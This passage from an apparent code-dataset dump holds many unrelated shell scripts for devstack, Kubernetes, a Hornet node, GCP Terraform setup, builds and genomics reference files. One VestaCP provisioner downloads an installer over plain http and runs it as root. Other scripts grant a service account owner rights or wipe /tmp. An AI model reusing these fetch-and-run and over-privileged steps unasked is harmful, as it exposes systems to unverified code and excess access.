MGMT_PORT_ID=$2\n MGMT_PORT_MAC=$3\n if [ -z \"$INTERFACE\" ]; then\n die \"octavia_create_network_interface_device for dragonflow: Interface not given (1st parameter)\"\n fi\n if [ -z \"$MGMT_PORT_ID\" ]; then\n die \"octavia_create_network_interface_device for dragonflow: Management port ID not given (2nd parameter)\"\n fi\n if [ -z \"$MGMT_PORT_MAC\" ]; then\n die \"octavia_create_network_interface_device for dragonflow: Management port MAC not given (3rd parameter)\"\n fi\n sudo ovs-vsctl -- --may-exist add-port $INTEGRATION_BRIDGE $INTERFACE -- set Interface $INTERFACE type=internal -- set Interface $INTERFACE external-ids:iface-status=active -- set Interface $INTERFACE external-ids:attached-mac=$MGMT_PORT_MAC -- set Interface $INTERFACE external-ids:iface-id=$MGMT_PORT_ID -- set Interface $INTERFACE external-ids:skip_cleanup=true\n }\n\n function octavia_delete_network_interface_device {\n : # Do nothing\n }\n fi\n\n if [[ \"$ACTION\" == \"stack\" ]]; then\n handle_df_stack\n elif [[ \"$ACTION\" == \"unstack\" ]]; then\n handle_df_unstack\n fi\nfi"} {"text": "#!/usr/bin/env bash\n\nPATCH_FILE='/tmp/patch.yaml'\n\ncat > \"$PATCH_FILE\" << END\n- op: replace\n path: \"/spec/ipipMode\"\n value: Always\nEND\n\nMAX_RETRIES=10\nATTEMPTS=0\nRET=1\n\nwhile [ \"$RET\" -ne 0 ] && [ $ATTEMPTS -lt $MAX_RETRIES ]; do\n (( ATTEMPTS++ ))\n echo \"Attempt $ATTEMPTS out of $MAX_RETRIES\"\n sudo kubectl patch ippool default-ipv4-ippool \\\n --kubeconfig=/etc/kubernetes/admin.conf \\\n --type json --patch \"$(cat $PATCH_FILE)\"\n RET=$?\n sleep 5\ndone\n\nrm \"$PATCH_FILE\"\n\nexit $RET"} {"text": "zstyle ':completion:*' matcher-list '' 'm:{a-zA-Z}={A-Za-z}' 'r:|[._-]=* r:|=*' 'l:|=* r:|=*'"} {"text": "<reponame>thhepp/one-click-tangle\n#!/bin/bash\n\n# Script to run a new Hornet Chrysalis Node\n# hornet.sh install .- Intalls a new Hornet Node (and starts it)\n# hornet.sh start .- Starts a new Hornet Node\n# hornet.sh stop .- Stops the Hornet Node\n# hornet.sh update .- Updates the Hornet Node\n\nset -e\n\nhelp () {\n echo \"usage: hornet.sh [install|update|start|stop] -p <peer_multiAdress> -i <docker_image>\"\n}\n\n##### Command line parameter processing\n\ncommand=\"$1\"\npeer=\"\"\nimage=\"\"\n\nif [ $# -lt 1 ]; then\n echo \"Illegal number of parameters\"\n help\n exit 1\nfi\n\nif [ \"$2\" == \"-p\" ]; then\n peer=\"$3\"\nfi\n\nif [ \"$4\" == \"-p\" ]; then\n peer=\"$5\"\nfi\n\nif [ \"$2\" == \"-i\" ]; then\n image=\"$3\"\nfi\n\nif [ \"$4\" == \"-i\" ]; then\n image=\"$5\"\nfi\n\nif ! [ -x \"$(command -v jq)\" ]; then\n echo \"jq utility not installed\"\n echo \"You can install it following the instructions at https://stedolan.github.io/jq/download/\"\n exit 156\nfi\n\nHORNET_UPSTREAM=\"https://raw.githubusercontent.com/gohornet/hornet/main/\"\n\n#####\n\nclean () {\n if [ -d ./db ]; then\n echo \"Cleaning up previous DB files\"\n sudo rm -Rf ./db\n fi\n\n if [ -d ./p2pstore ]; then\n echo \"Cleaning up previous P2P files\"\n sudo rm -Rf ./p2pstore\n fi\n\n if [ -d ./snapshots ]; then\n echo \"Cleaning up previous snapshot files\"\n sudo rm -Rf ./snapshots\n fi\n}\n\n# Sets up the necessary directories if they do not exist yet\nvolumeSetup () {\n ## Directory for the Hornet DB files\n if ! [ -d ./db ]; then\n mkdir ./db\n mkdir ./db/mainnet\n fi\n\n if ! [ -d ./snapshots ]; then\n mkdir ./snapshots\n mkdir ./snapshots/mainnet\n fi\n\n if ! [ -d ./p2pstore ]; then\n mkdir ./p2pstore\n fi\n\n ## Change permissions so that the Tangle data can be written (hornet user)\n ## TODO: Check why on MacOS this cause permission problems\n if ! [[ \"$OSTYPE\" == \"darwin\"* ]]; then\n echo \"Setting permissions for Hornet...\"\n sudo chown -R 65532:65532 db \n sudo chown -R 65532:65532 snapshots \n sudo chown -R 65532:65532 p2pstore\n fi\n}\n\n# The coordinator public key ranges are obtained\ncooSetup () {\n cat config/config-template.json | jq --argjson protocol \\\n \"$(wget $HORNET_UPSTREAM/config.json -O - -q | jq '.protocol')\" \\\n '. |= . + {$protocol}' > config/config.json\n}\n\npeerSetup () {\n # We obtain a new P2P identity for the Node\n set +e\n docker-compose run --rm hornet tool p2pidentity-gen > p2pidentity.txt 2> /dev/null\n # We try to keep backwards compatibility\n if [ $? -eq 1 ]; then\n docker-compose run --rm hornet tool p2pidentity > p2pidentity.txt\n # Now we extract the private key (only needed on Hornet versions previous to 1.0.5)\n private_key=$(cat p2pidentity.txt | head -n 1 | cut -d \":\" -f 2 | sed \"s/ \\+//g\" | tr -d \"\\n\" | tr -d \"\\r\")\n # and then set it on the config.json file\n sed -i 's/\"identityPrivateKey\": \".*\"/\"identityPrivateKey\": \"'$private_key'\"/g' config/config.json\n fi\n set -e\n\n # And now we configure our Node's peers\n if [ -n \"$peer\" ]; then\n echo \"Peering with: $peer\"\n # This is the case where no previous peer definition was there\n sed -i 's/\\[\\]/\\[{\"alias\": \"peer1\",\"multiAddress\": \"'$peer'\"}\\]/g' config/peering.json\n # This is the case for overwriting previous peer definition\n sed -i 's/{\"multiAddress\":\\s\\+\".\\+\"}/{\"multiAddress\": \"'$peer'\"}/g' config/peering.json\n else\n echo \"Configuring autopeering ...\"\n autopeeringSetup\n fi \n}\n\nautopeeringSetup () {\n # The autopeering plugin is enabled\n cat config/config.json | jq '.node.enablePlugins[.node.enablePlugins | length] |= . + \"Autopeering\"' > config/config-autopeering.json\n\n # Then the autopeering configuration is added from Hornet\n cat config/config-autopeering.json | jq --argjson autopeering \\\n \"$(wget $HORNET_UPSTREAM/config.json -O - -q | jq '.p2p.autopeering')\" \\\n '.p2p |= . + {$autopeering}' > config/config.json\n\n rm config/config-autopeering.json\n}\n\nimageSetup () {\n # The image only is set if it is passed as parameter\n # Otherwise the image is taken from the docker-compose\n if [ -n \"$image\" ]; then\n echo \"Using image: $image\"\n sed -i 's/image: .\\+/image: '$image'/g' docker-compose.yaml\n fi\n\n # We ensure we have the image before\n docker-compose pull hornet\n}\n\nstartHornet () {\n if ! [ -f ./snapshots/mainnet/full_snapshot.bin ]; then\n echo \"Install Hornet first with './hornet.sh install'\"\n exit 129\n fi\n docker-compose --log-level ERROR up -d\n}\n\ninstallHornet () {\n clean\n\n imageSetup\n\n volumeSetup\n\n cooSetup\n\n peerSetup\n}\n\n# Update ensures that the latest known image at Docker Hub is used\n# However it does not ensure the latest config files are applied\nupdateHornet () {\n if ! [ -f ./p2pstore/key.pub ]; then\n echo \"Previous version of Hornet not running. Use './hornet.sh install' instead\"\n exit 128\n fi\n\n stopHornet\n\n image=\"gohornet\\/hornet:latest\"\n imageSetup\n\n startHornet\n}\n\nstopHornet () {\n echo \"Stopping hornet...\"\n docker-compose --log-level ERROR down -v --remove-orphans\n}\n\n######################\n## Script starts here\n######################\ncase \"${command}\" in\n \"help\")\n help\n ;;\n \"install\")\n stopHornet\n installHornet\n docker-compose --log-level ERROR up -d\n ;;\n \"update\")\n updateHornet\n ;;\n \"start\")\n startHornet\n ;;\n \"stop\")\n\tstopHornet\n\t;;\n *)\n\techo \"Command not Found.\"\n\thelp\n\texit 127;\n\t;;\nesac"} {"text": "alias reload!='. ~/.zshrc'\n\nalias cls='clear' # Good 'ol Clear Screen command\nalias v='nvim'\nalias rl='realpath'\nalias sz='source ~/.zshrc'"} {"text": "<filename>chain-tx-enclave/tx-query/make.sh\n#!/bin/bash\nset -e\n\nsource /root/.docker_bashrc\ncd ./chain-tx-enclave/tx-query\nmake clean\nmake"} {"text": "#!/bin/bash\n\nSECRETS_DIR=secrets\nCONF_FILE=\"${SECRETS_DIR}/pcf.conf\"\nPROJECT_ID=`gcloud config get-value core/project`\nSERVICE_ACCOUNT_FILE=\"${SECRETS_DIR}/gcp-credentials.json\"\n\nmkdir -p \"${SECRETS_DIR}\"\n\nif [ ! -f \"${SERVICE_ACCOUNT_FILE}\" ]; then\n echo \"Initializing Google service account\"\n gcloud iam service-accounts create terraform --display-name terraform || exit 1\n gcloud projects add-iam-policy-binding $(gcloud config get-value core/project) \\\n --member \"serviceAccount:terraform@$(gcloud config get-value core/project).iam.gserviceaccount.com\" \\\n --role 'roles/owner' || exit 1\n gcloud iam service-accounts keys create ${SERVICE_ACCOUNT_FILE} \\\n --iam-account \"terraform@$(gcloud config get-value core/project).iam.gserviceaccount.com\" || exit 1\nfi\n\necho \"Initializing configuration\"\ncat > ${CONF_FILE} <<-EOF\nGCP_PROJECT_ID=\"${PROJECT_ID}\"\nGCP_SERVICE_ACCOUNT=\"${SERVICE_ACCOUNT_FILE}\"\n\nPCF_PLATFORM=\"gcp\"\n\nPCF_PIVNET_UAA_TOKEN=\"CHANGE_ME_PCF_PIVNET_UAA_TOKEN\" # see https://network.pivotal.io/users/dashboard/edit-profile\nPCF_DOMAIN_NAME=\"CHANGE_ME_DOMAIN_NAME\" # e.g. cfapps.io\nPCF_SUBDOMAIN_NAME=\"CHANGE_ME_SUBDOMAIN_NAME\" # e.g. dev\nPCF_OPSMAN_ADMIN_PASSWD=\"<PASSWORD>SMAN_ADMIN_<PASSWORD>\" # e.g. must be 20 characters long\nPCF_REGION=\"CHANGE_ME_REGION\" # e.g. europe-west1\nPCF_AZ_1=\"CHANGE_ME_AZ_1\" # e.g. europe-west1-b\nPCF_AZ_2=\"CHANGE_ME_AZ_2\" # e.g. europe-west1-c\nPCF_AZ_3=\"CHANGE_ME_AZ_3\" # e.g. europe-west1-d\n\nOPSMAN_VERSION=\"2.5.8\"\nPAS_VERSION=\"2.5.5\"\nPKS_VERSION=\"1.3.6\"\nEOF\n\necho \"Please update the configuration file: ${CONF_FILE}\"\necho \"Then, you can bootstrap the jumpbox on GCP by running:\"\necho \" $ ./install.sh\""} {"text": "<filename>killrm.sh\n#!/usr/bin/env bash\ndocker kill jaxrs && docker rm jaxrs"} {"text": "<reponame>krlex/VestaCP<gh_stars>0\n#!/bin/bash\n\necho \"Provisioning virtual machine...\"\necho \"Installing Vesta\"\n\necho \"We will install vesta as root.\":\necho \"Switch to root user...\":\nsudo su;\ncd ~;\ncurl -O http://vestacp.com/pub/vst-install.sh;\nbash vst-install.sh --force -y no --nginx yes --phpfpm yes --apache no --vsftpd yes --proftpd no --exim yes --dovecot yes --spamassassin yes --clamav yes --named yes --iptables yes --fail2ban yes --mysql yes --postgresql no --remi no --quota no --hostname vestacp --email <EMAIL> --password <PASSWORD>\nrm vst-install.sh;\necho \"Removed VestaCP installer.\";\necho \"Finished installation of Vesta Control Panel.\";\necho \"Exiting root user...\"\nexit;\necho \"Please take note of your admin password above. Please enter it below, to change your password.\";\nsu admin;\necho \"Enter your password below to change your password.\";\npasswd;\nexit;\necho \"Finished provisioning.\""} {"text": "#!/bin/sh\n\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin\n\nPPATH=`dirname $0`\n#HOST_IP=`ifconfig | grep inet | head -n1 | sed -e 's/:/ /' | awk '{print $3}'`\nSLAVE_NAME=`cat $PPATH/../myname`\nif [ -f \"$PPATH/../slave.conf\" ]; then\n\t. $PPATH/../slave.conf\n\t. $PPATH/../xdenv\nfi\n\ncd ${PPATH}\nrsync -avz -e \"ssh -i ${PPATH}/../rsync-key\" ${XBAYDNS_CHROOT_PATH}/var/log/query.log xbaydns\\@$MASTER_IP:${XBAYDNSHOME}/slave/named/log/${SLAVE_NAME}-query.log"} {"text": "#!/bin/bash\nrm -rf /tmp/*\ncd /opt/node_home\nnpm install && \\ \ngrunt init --force && \\\ngrunt prod"} {"text": "export SBT_HOME=/opt/sbt\nexport PATH=$PATH:$SBT_HOME/bin"} {"text": "<reponame>piotrminkina/docker-apache2\n#!/bin/sh\nset -e\n\n\ndocker run \\\n --name apache2 \\\n --rm \\\n --read-only \\\n -v /var/lib/apache2/ \\\n -v /var/run/apache2/ \\\n -v /var/lock/apache2/ \\\n -v /var/log/apache2/ \\\n \"$@\" \\\n piotrminkina/apache2"} {"text": "<reponame>Episodio1/warp-engine\n#!/bin/bash\n\n # IMPORT HELP\n\n . \"$PROJECTPATH/.warp/bin/volume_help.sh\"\n\nfunction volume_command() \n{\n\n if [ \"$1\" = \"-h\" ] || [ \"$1\" = \"--help\" ]\n then\n volume_help_usage \n exit 1\n fi;\n\n if [ $(warp_check_is_running) = true ]; then\n warp_message_error \"The containers are running\"\n warp_message_error \"please, first run warp stop --hard\"\n\n exit 1;\n fi\n\n case \"$1\" in\n php)\n warp_message \"stopping data from volume php\"\n warp docker stop php\n warp docker kill php\n warp_message \"removing data from volume php\"\n docker volume rm ${PWD##*/}_${PWD##*/}-volume-sync \n ;;\n\n mysql)\n warp_message \"stopping data from volume mysql\"\n warp docker stop mysql\n warp docker kill mysql\n warp_message \"removing data from volume mysql\"\n docker volume rm ${PWD##*/}_${PWD##*/}-volume-db \n ;;\n\n *) \n warp_message_warn \"Please specify either 'php', 'mysql' as an argument\"\n ;;\n esac\n}\n\nfunction volume_main()\n{\n case \"$1\" in\n --rm)\n shift 1\n volume_command $*\n ;;\n\n *) \n volume_help_usage\n ;;\n esac\n}"} {"text": "# conventional-changelog -p angular -i CHANGELOG.md -w -r -s 0\nconventional-changelog -p angular -i CHANGELOG.md -s"} {"text": "<filename>scripts/format.sh<gh_stars>1-10\ncd \"$BUILD_WORKING_DIRECTORY\"\nclang-format -i $(find engine/ -iname '*.cc')\nclang-format -i $(find engine/ -iname '*.hh')"} {"text": "#!/bin/sh\n\nxdg-icon-resource install --context mimetypes --size 48 jhipster.png x-application-jdlstudio"} {"text": "#!/usr/bin/env bash\n\napt-get update\napt-get install -y git \\\n nodejs npm nodejs-legacy\n # zip \\\n\n# Install command line grunt globaly\nnpm install -g grunt-cli bower\n\n# Install sass\n# gem install sass\n\n# echo \"You've been provisioned\"\n# date > /etc/vagrant_provisioned_at"} {"text": "<reponame>alex-santiago/inforlube-template-framework-ui\n#! /bin/bash\n\nclear\nif [ ! \"$1\" ]; then\n echo \"Missing parameter: directory path to copy files.\"\n exit\nfi\n\nif [ ! -d \"../$1\" ]; then\n echo \"Informed directory path does not exist.\"\n exit\nfi\n\nDESTINATION=\"../$1\"\n\necho \"Updating template files in destination directory: $DESTINATION\"\necho\necho \"Checking directory structure:\"\nif [ ! -d \"$DESTINATION/css\" ]; then\n echo \" - Creating directory: /css\"; mkdir \"$DESTINATION/css\"\nfi\nif [ ! -d \"$DESTINATION/images\" ]; then\n echo \" - Creating directory: /images\"; mkdir \"$DESTINATION/images\"\nfi\nif [ ! -d \"$DESTINATION/js\" ]; then\n echo \" - Creating directory: /js\"; mkdir \"$DESTINATION/js\"\nfi\nif [ ! -d \"$DESTINATION/js/framework/configuration\" ]; then\n echo \" - Creating directory: /js/framework/configuration\"; mkdir \"$DESTINATION/js/framework/configuration\"\nfi\nif [ ! -d \"$DESTINATION/js/framework/language\" ]; then\n echo \" - Creating directory: /js/framework/language\"; mkdir \"$DESTINATION/js/framework/language\"\nfi\nif [ ! -d \"$DESTINATION/plugins\" ]; then\n echo \" - Creating directory: /plugins\"; mkdir \"$DESTINATION/plugins\"\nfi\n# if [ ! -d \"$DESTINATION/js/website-initialization\" ]; then\n# echo \" - Creating directory: /js/website-initialization\"; mkdir \"$DESTINATION/js/website-initialization\"\n# fi\nif [ ! -d \"$DESTINATION/scss\" ]; then\n echo \" - Creating directory: /scss\"; mkdir \"$DESTINATION/scss\"\nfi\nif [ ! -d \"$DESTINATION/scss/navbar\" ]; then\n echo \" - Creating directory: /scss/navbar\"; mkdir \"$DESTINATION/scss/navbar\"\nfi\nif [ ! -d \"$DESTINATION/support\" ]; then\n echo \" - Creating directory: /support\"; mkdir \"$DESTINATION/support\"\nfi\nif [ ! -d \"$DESTINATION/tags\" ]; then\n echo \" - Creating directory: /tags\"; mkdir \"$DESTINATION/tags\"\nfi\nif [ ! -d \"$DESTINATION/tags/wire-frame\" ]; then\n echo \" - Creating directory: /tags/wire-frame\"; mkdir \"$DESTINATION/tags/wire-frame\"\nfi\necho \"Directory checking done.\"\necho\necho \"Starting to copy files:\"\necho \"Copying Default CSS\"\necho \"./css/styles.css\" \"$DESTINATION/css/\"\ncp -a \"./css/styles.css\" \"$DESTINATION/css/\"\necho \"./css/custom.css\" \"$DESTINATION/css/\"\ncp -np \"./css/custom.css\" \"$DESTINATION/css/\"\necho\necho \"Copying Default images\"\necho \"./images\" \"$DESTINATION\"\ncp -a \"./images\" \"$DESTINATION\"\necho\necho \"Copying Default js\"\necho \" - Configuration files\"\necho \"./js/framework/configuration/controllers.js\" \"$DESTINATION/js/framework/configuration/\"\ncp -np \"./js/framework/configuration/controllers.js\" \"$DESTINATION/js/framework/configuration/\"\necho \"./js/framework/configuration/host.js\" \"$DESTINATION/js/framework/configuration/\"\ncp -np \"./js/framework/configuration/host.js\" \"$DESTINATION/js/framework/configuration/\"\necho \"./js/framework/configuration/language-config.js\" \"$DESTINATION/js/framework/configuration/\"\ncp -np \"./js/framework/configuration/language-config.js\" \"$DESTINATION/js/framework/configuration/\"\necho \"./js/framework/configuration/menu-items.js\" \"$DESTINATION/js/framework/configuration/\"\ncp -np \"./js/framework/configuration/menu-items.js\" \"$DESTINATION/js/framework/configuration/\"\necho \"./js/framework/configuration/routes.js\" \"$DESTINATION/js/framework/configuration/\"\ncp -np \"./js/framework/configuration/routes.js\" \"$DESTINATION/js/framework/configuration/\"\necho \"./js/framework/configuration/session-config.js\" \"$DESTINATION/js/framework/configuration/\"\ncp -np \"./js/framework/configuration/session-config.js\" \"$DESTINATION/js/framework/configuration/\"\necho \"./js/framework/configuration/tables.js\" \"$DESTINATION/js/framework/configuration/\"\ncp -np \"./js/framework/configuration/tables.js\" \"$DESTINATION/js/framework/configuration/\"\necho \"./js/framework/configuration/test-variables.js\" \"$DESTINATION/js/framework/configuration/\"\ncp -np \"./js/framework/configuration/test-variables.js\" \"$DESTINATION/js/framework/configuration/\"\necho \" - Language files\"\necho \"./js/framework/language/dictionary.pt.br.js\" \"$DESTINATION/js/framework/language/\"\ncp -a \"./js/framework/language/dictionary.pt.br.js\" \"$DESTINATION/js/framework/language/\"\necho \"./js/framework/language/language.pt.br.js\" \"$DESTINATION/js/framework/language/\"\ncp -a \"./js/framework/language/language.pt.br.js\" \"$DESTINATION/js/framework/language/\"\necho \"./js/framework/language/language.en.us.js\" \"$DESTINATION/js/framework/language/\"\ncp -a \"./js/framework/language/language.en.us.js\" \"$DESTINATION/js/framework/language/\"\necho \"./js/framework/language/language.es.es.js\" \"$DESTINATION/js/framework/language/\"\ncp -a \"./js/framework/language/language.es.es.js\" \"$DESTINATION/js/framework/language/\"\necho \" - Framework base scripts\"\necho \"./js/framework/ajax.js\" \"$DESTINATION/js/framework/\"\ncp -a \"./js/framework/ajax.js\" \"$DESTINATION/js/framework/\"\necho \"./js/framework/app.js\" \"$DESTINATION/js/framework/\"\ncp -a \"./js/framework/app.js\" \"$DESTINATION/js/framework/\"\necho \"./js/framework/breadcrumb.js\" \"$DESTINATION/js/framework/\"\ncp -a \"./js/framework/breadcrumb.js\" \"$DESTINATION/js/framework/\"\necho \"./js/framework/charts.js\" \"$DESTINATION/js/framework/\"\ncp -a \"./js/framework/charts.js\" \"$DESTINATION/js/framework/\"\necho \"./js/framework/formvalidation.js\" \"$DESTINATION/js/framework/\"\ncp -a \"./js/framework/formvalidation.js\" \"$DESTINATION/js/framework/\"\necho \"./js/framework/globals.js\" \"$DESTINATION/js/framework/\"\ncp -a \"./js/framework/globals.js\" \"$DESTINATION/js/framework/\"\necho \"./js/framework/menu.js\" \"$DESTINATION/js/framework/\"\ncp -a \"./js/framework/menu.js\" \"$DESTINATION/js/framework/\"\necho \"./js/framework/messages.js\" \"$DESTINATION/js/framework/\"\ncp -a \"./js/framework/messages.js\" \"$DESTINATION/js/framework/\"\necho \"./js/framework/modal.js\" \"$DESTINATION/js/framework/\"\ncp -a \"./js/framework/modal.js\" \"$DESTINATION/js/framework/\"\necho \"./js/framework/pagination.js\" \"$DESTINATION/js/framework/\"\ncp -a \"./js/framework/pagination.js\" \"$DESTINATION/js/framework/\"\necho \"./js/framework/session.js\" \"$DESTINATION/js/framework/\"\ncp -a \"./js/framework/session.js\" \"$DESTINATION/js/framework/\"\necho \" - Other scripts\"\necho \"./js/sb-admin-charts.js\" \"$DESTINATION/js/sb-admin-charts.js\"\ncp -a \"./js/sb-admin-charts.js\" \"$DESTINATION/js/sb-admin-charts.js\"\necho \"./js/sb-admin-charts.min.js\" \"$DESTINATION/js/sb-admin-charts.min.js\"\ncp -a \"./js/sb-admin-charts.min.js\" \"$DESTINATION/js/sb-admin-charts.min.js\"\necho \"./js/sb-admin-datatables.js\" \"$DESTINATION/js/sb-admin-datatables.js\"\ncp -a \"./js/sb-admin-datatables.js\" \"$DESTINATION/js/sb-admin-datatables.js\"\necho \"./js/sb-admin-datatables.min.js\" \"$DESTINATION/js/sb-admin-datatables.min.js\"\ncp -a \"./js/sb-admin-datatables.min.js\" \"$DESTINATION/js/sb-admin-datatables.min.js\"\necho \"./js/sb-admin.js\" \"$DESTINATION/js/sb-admin.js\"\ncp -a \"./js/sb-admin.js\" \"$DESTINATION/js/sb-admin.js\"\necho \"./js/sb-admin.min.js\" \"$DESTINATION/js/sb-admin.min.js\"\ncp -a \"./js/sb-admin.min.js\" \"$DESTINATION/js/sb-admin.min.js\"\necho\necho \"Copying Default plugins scripts\"\necho \"./plugins\" \"$DESTINATION\"\ncp -a \"./plugins\" \"$DESTINATION\"\necho\necho \"Copying Default scss\"\necho \"./scss\" \"$DESTINATION\"\ncp -a \"./scss\" \"$DESTINATION\"\necho\necho \"Copying Default tags wire-frames\"\necho \"./tags/wire-frame\" \"$DESTINATION/tags\"\ncp -a \"./tags/wire-frame\" \"$DESTINATION/tags\"\necho\necho \"Copying Default index file\"\necho \"./index.html\" \"$DESTINATION\"\ncp -np \"./index.html\" \"$DESTINATION\"\necho \"Site update finished\""} {"text": "<filename>dbn_train.sh\nfor net in ResNet18_dbn\ndo \n\t\tfor eps in 0.03137\n\t\tdo\n\t\t\tfor beta in 6\n\t\t\tdo\n python dbn_train.py --beta $beta --net $net --epsilon $eps | tee log/trades_training/beta_$beta\\_$eps\\_$net.txt\ndone\ndone\ndone"} {"text": "#!/bin/sh\n\nset -e\n\ngo build\n\nls testdir/input* | while read input; do\n pattern=$(cat $(echo $input | sed -e 's/input/pattern/'))\n output=$(echo $input | sed -e 's/input/output/')\n want=$(echo $input | sed -e 's/input/want/')\n echo $input\n ./jvgrep $pattern $input > $output\n diff -u $output $want\ndone"} {"text": "#!/bin/bash\n\nset +h\nset -u\nset -e\n\ncd $(dirname $0)\n\nTARGET_DIR=$PWD/target\nCLASSES_DIR=$TARGET_DIR/classes\nTEST_CLASSES_DIR=$TARGET_DIR/test-classes\nLIB_DIR=$PWD/lib\nEXT_LIB_DIR=${LIB_DIR}/ext\nTOOL_LIB_DIR=${LIB_DIR}/tool\nCOMPILE_LIB_DIR=${LIB_DIR}/compile\nTEST_LIB_DIR=${LIB_DIR}/test\n\nKOTLIN_VERSION=1.0.4\nSRC_DIR=$PWD/src/main/kotlin\nTEST_DIR=$PWD/src/test/kotlin\n\nrm -fr $CLASSES_DIR || true\nrm -fr $TEST_CLASSES_DIR || true\n\nmkdir -p $CLASSES_DIR\nmkdir -p $TEST_CLASSES_DIR\n\nCP=$COMPILE_LIB_DIR/kotlin-stdlib-$KOTLIN_VERSION.jar\n\njava -jar $TOOL_LIB_DIR/kotlin-compiler-$KOTLIN_VERSION.jar -d $CLASSES_DIR -classpath $CP $SRC_DIR \n\nCP=$COMPILE_LIB_DIR/kotlin-runtime-$KOTLIN_VERSION.jar\nfor file in $TEST_LIB_DIR/*.jar ; do\n CP=$CP:$file\ndone\n\nCP=$CP:$CLASSES_DIR\n\njava -jar $TOOL_LIB_DIR/kotlin-compiler-$KOTLIN_VERSION.jar -d $TEST_CLASSES_DIR -classpath $CP $TEST_DIR"} {"text": "#\n# Manages tmuxifier app\n# https://github.com/jimeh/tmuxifier\n#\n# Authors:\n# <NAME> <pablo at glatelier dot org>\n#\n\n# If tmuxifier it's not found, exit\n[[ -d ~/.tmuxifier ]] || return 1\n\npath=(\n ${HOME}/.tmuxifier/bin\n $path\n )\n\neval \"$(tmuxifier init -)\""} {"text": "#!/bin/bash\n\n## Copyright 2015 Novartis Institutes for BioMedical Research\n## Inc.Licensed under the Apache License, Version 2.0 (the \"License\"); you\n## may not use this file except in compliance with the License. You may\n## obtain a copy of the License at\n##\n## http://www.apache.org/licenses/LICENSE-2.0\n##\n## Unless required by applicable law or agreed to in writing,\n## software distributed under the License is distributed on an \"AS IS\"\n## BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n## implied. See the License for the specific language governing\n## permissions and limitations under the License.\n\n#$ -cwd\n#$ -j y\n#$ -S /bin/bash\n#$ -V\n\nPROG_NAME=`basename $0`\nPROG_DIR=`dirname $0`\nPROG_DIR=`cd \"$PROG_DIR\" && pwd`\nVERSION=1.0.0\n\n## Ensure that pipes report the exit status of the first failed job\nset -o pipefail\n\n################################################################################\n##\n## Read options\n##\n################################################################################\n\nwhile [ \"$1\" = \"-h\" ]\ndo\n if [ \"$1\" = \"-h\" ]\n then\n shift\n PRINT_HELP=\"TRUE\"\n fi\ndone\n\n\n################################################################################\n##\n## Print help\n##\n################################################################################\n\nif [ \"$PRINT_HELP\" = \"TRUE\" -o \"$2\" = \"\" ]\nthen\n echo \"Usage: $PROG_NAME <GTF file> <data directory>\"\n echo\n exit 0\nfi\n\n\n################################################################################\n##\n## Read arguments\n##\n################################################################################\n\nINPUT_GTF_FILE_PATH=$1\nshift\n\nif [ ! -f \"$INPUT_GTF_FILE_PATH\" ]\nthen\n echo \"GTF file $INPUT_GTF_FILE_PATH not found ... exiting.\"\n exit 1\nfi\n\nINPUT_GTF_FILE=`basename $INPUT_GTF_FILE_PATH`\nINPUT_GTF_FILE_BASE=`echo $INPUT_GTF_FILE | sed -e 's/.gz$//' | sed -e 's/.gtf$//'`\nINPUT_GTF_FILE_EXT=`echo $INPUT_GTF_FILE | sed -e \"s/$INPUT_GTF_FILE_BASE[.]//\"`\n\nif [ \"$INPUT_GTF_FILE_EXT\" = \"gtf.gz\" ]\nthen\n echo \"Decompressing file $INPUT_GTF_FILE_PATH\"\n gunzip $INPUT_GTF_FILE_PATH\n INPUT_GTF_FILE_PATH=`echo $INPUT_GTF_FILE_PATH | sed -e 's/[.]gz$//'`\n INPUT_GTF_FILE=`basename $INPUT_GTF_FILE_PATH`\nelif [ \"$INPUT_GTF_FILE_EXT\" != \"gtf\" ]\nthen\n echo \"Unknown extension for file $INPUT_GTF_FILE ... exiting.\"\n exit 1\nfi\n\nPROJECT_DATA_DIR=$1\nshift\n\nif [ ! -d $PROJECT_DATA_DIR ]\nthen\n echo \"Creating directory $PROJECT_DATA_DIR\"\n mkdir -p $PROJECT_DATA_DIR\nfi\n\nif [ ! -d $PROJECT_DATA_DIR/bin ]\nthen\n mkdir $PROJECT_DATA_DIR/bin\nfi\n\nGENE_MODEL_PREFIX=\"$INPUT_GTF_FILE_BASE\"\n\necho \"export FILE_BASE=$INPUT_GTF_FILE_BASE\" > $PROJECT_DATA_DIR/bin/setup.sh\necho \"export READ_LENGTH=0\" >> $PROJECT_DATA_DIR/bin/setup.sh\necho \"export RADIUS=0\" >> $PROJECT_DATA_DIR/bin/setup.sh\necho \"export PAIRED_END=TRUE\" >> $PROJECT_DATA_DIR/bin/setup.sh\necho \"export STRAND_SPECIFIC=FALSE\" >> $PROJECT_DATA_DIR/bin/setup.sh\necho \"export STRAND_SPECIFIC_DIRECTION=none\" >> $PROJECT_DATA_DIR/bin/setup.sh\n\nchmod a+x $PROJECT_DATA_DIR/bin/setup.sh\n\nR_EXE=`which R`\nif [ ! -f \"$R_EXE\" ]\nthen\n echo\n echo 'R not found. Please make sure that R is available ... exiting'\n exit 1\nfi\n\nPYTHON_EXE=`which python`\nif [ ! -f \"$PYTHON_EXE\" ]\nthen\n echo\n echo 'python not found. Please make sure that python is available ... exiting'\n exit 1\nfi\n\n################################################################################\n##\n## Set directories\n##\n################################################################################\n\nPROJECT_DIR=`dirname $PROG_DIR`\n\nif [ ! -d $PROJECT_DATA_DIR ]\nthen\n echo \"Creating directory $PROJECT_DATA_DIR\"\n mkdir $PROJECT_DATA_DIR\nfi\n\nPROJECT_GTF_DIR=$PROJECT_DATA_DIR/gtf-files\nif [ ! -d $PROJECT_GTF_DIR ]\nthen\n echo \"Directory $PROJECT_GTF_DIR does not exist ... creating\"\n mkdir $PROJECT_GTF_DIR\nfi\n\nPROJECT_BED_DIR=$PROJECT_DATA_DIR/bed-files\nif [ ! -d $PROJECT_BED_DIR ]\nthen\n echo \"Directory $PROJECT_BED_DIR does not exist ... creating\"\n mkdir $PROJECT_BED_DIR\nfi\n\nPROJECT_MAP_DIR=$PROJECT_DATA_DIR/map-files\nif [ ! -d $PROJECT_MAP_DIR ]\nthen\n echo \"Directory $PROJECT_MAP_DIR does not exist ... creating\"\n mkdir $PROJECT_MAP_DIR\nfi\n\n\n################################################################################\n##\n##\n## Create the reference files\n##\n##\n################################################################################\n\nSCRIPTS_DIR=$PROG_DIR/util-scripts\n\n################################################################################\n##\n## Add exon_id field to GTF file\n##\n################################################################################\n\necho \"Adding exon ids to GTF 